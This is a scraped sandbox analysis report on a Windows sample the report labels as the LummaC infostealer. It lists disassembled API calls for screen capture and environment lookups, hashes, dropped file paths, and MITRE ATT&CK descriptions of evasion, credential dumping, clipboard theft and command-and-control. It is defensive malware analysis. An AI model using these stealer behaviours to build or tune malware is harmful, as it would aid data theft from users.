GetCurrentObject.GDI32(00000000,00000007), ref: 02136C11
GetObjectW.GDI32(00000000,00000018,?), ref: 02136C21
DeleteObject.GDI32(00000000), ref: 02136C28
CreateCompatibleDC.GDI32(00000000), ref: 02136C37
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 02136C42
SelectObject.GDI32(00000000,00000000), ref: 02136C4E
BitBlt.GDI32(00000000,00000000,00000000,?,?,00000000,?,?,00CC0020), ref: 02136C71

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID: Object$CompatibleCreate$BitmapCurrentDeleteSelect
String ID:
API String ID: 2843486406-0
Opcode ID: 637d2dcd770b1b81d6daddeec98349090a5cabd35a80d80db673790c1e385553
Instruction ID: 88dc72446b61d773bae4b1778e9fe447bce96a13afddce8d0a62a169f9209d73
Opcode Fuzzy Hash: 637d2dcd770b1b81d6daddeec98349090a5cabd35a80d80db673790c1e385553
Instruction Fuzzy Hash: F6214FB9544310EFE3509F609C49B2B7BF9EB8AB11F014929FA59A2290D77498048B67

Function 02125367 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 85COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000), ref: 02125411

Strings

+$e, xrefs: 02125459
+$e, xrefs: 021253CC, 021253E1
E#G, xrefs: 021253A1
XY, xrefs: 021253AD

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings
String ID: +$e$+$e$XY$E#G
API String ID: 237503144-1023387988
Opcode ID: 796cc6ccac140472a8104463ef7e640a249bdffaa71f860e68154a69d4d8fa0c
Instruction ID: 889aa99dfa24cbfc1346f60c0a782832a5c5f50b7e18343fc2dcb72d1edded62
Opcode Fuzzy Hash: 796cc6ccac140472a8104463ef7e640a249bdffaa71f860e68154a69d4d8fa0c
Instruction Fuzzy Hash: AC21363024C344AFE3148F65E88171FBBE0EBC6714F24C82CE5A85B282D775C80A8F86

Function 02125A47 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 117COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 02125B5B

Strings

rp, xrefs: 02125A9B
B"@, xrefs: 02125A7F
`J/H, xrefs: 02125A8D

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings
String ID: B"@$`J/H$rp
API String ID: 237503144-3817236508
Opcode ID: d1879db7092e8caf361d2fa4e2e19fcb9f3d80e285b1dd23349b8ef0ea2aa233
Instruction ID: e554684047942922bbb0540b9233d797576653ad7eae3a1ed7d03634a553576d
Opcode Fuzzy Hash: d1879db7092e8caf361d2fa4e2e19fcb9f3d80e285b1dd23349b8ef0ea2aa233
Instruction Fuzzy Hash: BC31CDB0E443589FDB14CFA9D8827DEBBB2EF45700F50002CE441BB295D6B55906CFA9

Function 0042F0FD Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 160COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 0042F23F

Strings

aN@, xrefs: 0042F2FC
Wu, xrefs: 0042F23F

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID: FreeLibrary
String ID: aN@$Wu
API String ID: 3664257935-2510175649
Opcode ID: 6923c55db78119380e5fe35a3321c238481177c04641367e3fdf37507d6e1cbb
Instruction ID: fb7b49653fcfe6187a11668ca7033b53e8d7d933bb39412ee55706a61e0bd157
Opcode Fuzzy Hash: 6923c55db78119380e5fe35a3321c238481177c04641367e3fdf37507d6e1cbb
Instruction Fuzzy Hash: 5951777460C3C08BE3358B299C557ABBFE29FE2308F48096DE0D95B3D2DA74440AC75A

Function 0040BA80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00408A9E), ref: 0040BA86
FreeLibrary.KERNEL32 ref: 0040BAA7

Strings

Wu, xrefs: 0040BA86, 0040BAA7

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID: FreeLibrary
String ID: Wu
API String ID: 3664257935-4083010176
Opcode ID: 880272bc0811b14ab5181b2bf88990afbeca93da92f698920aa63cdcc06e2724
Instruction ID: 76f8199259777ce60f51c6d99c718f1815bb22ab62b72bec75753df54c08d8dc
Opcode Fuzzy Hash: 880272bc0811b14ab5181b2bf88990afbeca93da92f698920aa63cdcc06e2724
Instruction Fuzzy Hash: E2C0023B8620009BDE857FA0FD898187A31FB4A30531C44B4B80140036DAA20960AA59

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report xCnwCctDWC.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_1C22.tmp.exe_1d5442c51976e954ba5fba3492a1565f5217381_def4729d_91fe47c4-1817-44f0-8dc3-40dea7b7ff20\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER12EB.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1732.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1781.tmp.xml

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\ScreenUpdateSync[1].exe

C:\Users\user\AppData\Local\Temp\1C22.tmp.exe

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Windows Analysis Report
xCnwCctDWC.exe

Function 004016DF Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 150
clipboardsleepmemoryCOMMON

Function 004029F4 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 134
networkfilesynchronizationCOMMON

Function 0043D03C Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Function 00432F29 Relevance: 13.8, APIs: 9, Instructions: 300
COMMONLIBRARYCODE

Function 0067003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Function 00402C04 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 180
networkCOMMON

Function 004051D0 Relevance: 9.1, APIs: 6, Instructions: 82
COMMON

Function 00405800 Relevance: 6.0, APIs: 4, Instructions: 29
COMMON

Function 0042DFC0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38
threadCOMMON

Function 0042E114 Relevance: 4.6, APIs: 3, Instructions: 54
threadCOMMONLIBRARYCODE

Function 00434755 Relevance: 4.6, APIs: 3, Instructions: 50
COMMONLIBRARYCODE

Function 00402BAD Relevance: 4.5, APIs: 3, Instructions: 41
registryCOMMON

Function 0042E074 Relevance: 4.5, APIs: 3, Instructions: 31
threadCOMMON

Function 0040239E Relevance: 3.1, APIs: 2, Instructions: 125
windowCOMMON

Function 0040155A Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 101
sleepCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre